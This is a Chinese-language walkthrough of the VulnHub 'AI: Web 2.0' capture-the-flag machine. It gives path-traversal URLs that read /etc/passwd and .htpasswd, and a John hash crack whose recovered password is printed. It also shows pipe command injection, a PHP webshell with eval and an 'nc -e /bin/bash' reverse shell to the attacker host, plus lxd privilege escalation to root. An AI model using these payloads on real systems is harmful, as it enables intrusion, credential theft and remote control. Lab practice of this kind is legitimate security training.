VulnHub-AI-web-2.0靶机渗透
靶场介绍
靶场地址:https://www.vulnhub.com/entry/ai-web-2%2C357/
主要内容:文件读取、join爆破、命令注入、命令注入传shell、(隐藏文件)敏感文件泄露、lxd提权
环境描述:
flag数量:1
攻击机:kali
攻击机地址:10.10.0.6
靶机描述:
Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT
This is the second box from the series AI: Web and you will have more fun to crack this challenge. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root.
You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.
For any hint please tweet on @arif_xpress
信息收集
探测靶机地址
┌──(root㉿kali)-\[\~]
└─# arp-scan -l
获得靶机地址:10.10.0.130
探测靶机开放端口
┌──(root㉿kali)-[~]
└─# nmap -sS -sV -T4 -A -p- 10.10.0.130
由上图可见,发现靶机 80端口、22端口
访问80端口
浏览器键入:
http://10.10.0.130/
web页面可注册、登录,登录后如下图
登录之后只显示 Welcome to XuezhuLi FileSharing
目录扫描
┌──(root㉿kali)-[~]
└─# dirb http://10.10.0.130
其中有个 wenadmin 的目录,尝试访问
浏览器键入:
http://10.10.0.130/webadmin
需要用户、密码
漏洞发现
通过上述访问,发现 Welcome to XuezhuLi FileSharing ,以此作为线索,谷歌一下,发现是全球最大同性交友网站上面的项目
项目地址:https://github.com/XuezhuLi/FileSharing
查一下有没有可用的漏洞
漏洞库链接:https://www.exploit-db.com/
发现两个漏洞,第一个漏洞是CSRF,危害不大,也不好利用;第二个是目录穿越(文件遍历),这个可以读取一些文件,查看一下这个漏洞
利用漏洞
文件读取
尝试利用:可以使用浏览器访问,对文件直接进行下载,也可以放到bp中访问查看
http://10.10.0.130/download.php?file_name=../../../../../../../../../../../../../etc/passwd
查看文件
成功读取到了 /etc/passwd 文件,上述扫描目录可知,这是apache服务,所以尝试读取他的配置文件,会有服务的用户、密码
http://10.10.0.130/download.php?file_name=../../../../../../../../../etc/apache2/sites-enabled/000-default.conf
查看文件
发现用户认证的文件路径,干他
http://10.10.0.130/download.php?file_name=../../../../../../../../../../../../../etc/apache2/.htpasswd
查看文件
发现用户、账号密码:
aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
john爆破
为了方便,我这里将 .htpasswd 文件重命名为 apache-passwd.txt
直接爆破
┌──(root㉿kali)-[~/web2.0]
└─# john apache-passwd.txt
等太久了,没结果
根据靶场提示,发现解密的字典 rockyou-45.txt
字典地址:
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt
将 rockyou-45.txt 字典文件 copy 下来,后使用该字典爆破
爆破
┌──(root㉿kali)-[~/web2.0]
└─# john --wordlist=rockyou-45.txt apache-passwd.txt
爆破出账号密码,浏览器登录
账号/密码: aiweb2admin/c.ronaldo
访问 robots.txt
浏览器键入:
http://10.10.0.130/webadmin/robots.txt
访问第一个目录,发现是个ping ip地址的,考虑是否存在命令执行
浏览器键入:
http://10.10.0.130/webadmin/S0mextras/
访问第二的目录,没什么可利用的点
命令注入
回到第一个目录,经过尝试,发现可以使用 | 进行绕过(管道符)
键入:
127.0.0.1
键入:
127.0.0.1|ip a
利用注入执行 下载木马文件
写个木马:
<?php
eval($_REQUEST['shell']);
system("nc -e /bin/bash 10.10.0.6 8888");
?>
在kali上开启简易服务器
┌──(root㉿kali)-[~/web2.0]
└─# python2 -m SimpleHTTPServer 9999
通过命令执行下载木马文件 webshell.php
127.0.0.1|wget http://10.10.0.6:9999/webshell.php
查看是否下载成功
127.0.0.1|ls
kali上开启监听: nc -lvnp 8888
┌──(root㉿kali)-[~/web2.0]
└─# nc -lvnp 8888
运行webshell.php,但kali监听端口没有反应
这里换思路
利用命令注入 查看隐藏文件
隐藏文件一般都是(.)开头的,使用find命令:
127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/
这下发现了隐藏文件,.sshUserCred55512.txt 文件从文件名上来看应该是和ssh登录有关,用cat命令查看一下
127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf
SSH 账号密码连接
上面的内容可能是ssh的账号密码,试一下
登录上去了,查看id
使用 sudo -l,无权限
LinEnum工具扫描
那就使用LinEnum工具扫描一下可以利用哪些信息提权
地址:
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
下载文件,上传到靶机
wget 10.10.0.6:9999/LinEnum.sh
添加权限
chmod +x LinEnum.sh
执行
./LinEnum.sh
在扫描报告的底部,发现可以利用lxd漏洞
lxd漏洞
查找lxd漏洞
┌──(root㉿kali)-[~/web2.0]
└─# searchsploit lxd
┌──(root㉿kali)-[~/web2.0]
└─# searchsploit -m linux/local/46978.sh
复制到当前目录
┌──(root㉿kali)-[~/web2.0]
└─# cp /usr/share/exploitdb/exploits/linux/local/46978.sh .
查看一下 cat 46978.sh
┌──(root㉿kali)-[~/web2.0]
└─# cat 46978.sh
得到大致步骤:
第一步需要下载build-alpine
第二步运行里面的build alpine然后给靶机运行就可以得到root
build-alpine
按照步骤,先下载 build-alpine
地址:
https://github.com/saghul/lxd-alpine-builder/blob/master/build-alpine
下载后添加权限
chmod +x build-alpine
执行
┌──(root㉿kali)-[~/web2.0]
└─# ./build-alpine
下载较慢,可以科学上网
然后ls一下会发现多了一个命名规则是年份日期的,然后把这个传到靶机中
wget 10.10.0.6:9999/alpine-v3.20-x86_64-20240911_2210.tar.gz
添加权限
chmod +x alpine-v3.20-x86_64-20240911_2210.tar.gz
上传 46978.sh
wget 10.10.0.6:9999/46978.sh
添加权限
chmod 777 46978.sh
运行
./46978.sh -f alpine-v3.20-x86_64-20240911_2210.tar.gz
查看id
寻找flag
总结
文件读取:这里得熟悉Apache配置文件的路径,才知道应该读取什么文件
join爆破:这里就得知道靶场给了字典的提示
命令注入:这个得尝试怎么绕过,而且看到 ping ip 首先就要想到可能是命令注入
命令注入查看隐藏文件:这个得知道隐藏文件一般都是(.)开头的
这个靶场打的磕磕绊绊,读取配置文件的时候,不知道应该看哪些配置文件,或者说不知道那么多的路径。然后命令注入的时候,查看隐藏文件,这个一开始没想到,还是看了大佬的博客才想起来。后面的lxd提权,也遇到了一点小问题。